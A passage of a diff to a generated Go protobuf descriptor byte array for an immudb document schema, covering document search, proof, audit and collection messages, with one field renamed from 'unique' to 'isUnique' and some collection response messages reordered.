0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, - 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, - 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, - 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, - 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, - 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x5b, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x75, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x75, - 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, - 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, + 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, @@ -1674,141 +1663,162 @@ var file_documentschema_proto_rawDesc = []byte{ 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, - 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, - 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, - 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, - 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, - 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, - 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, - 0x0b, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, - 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x55, 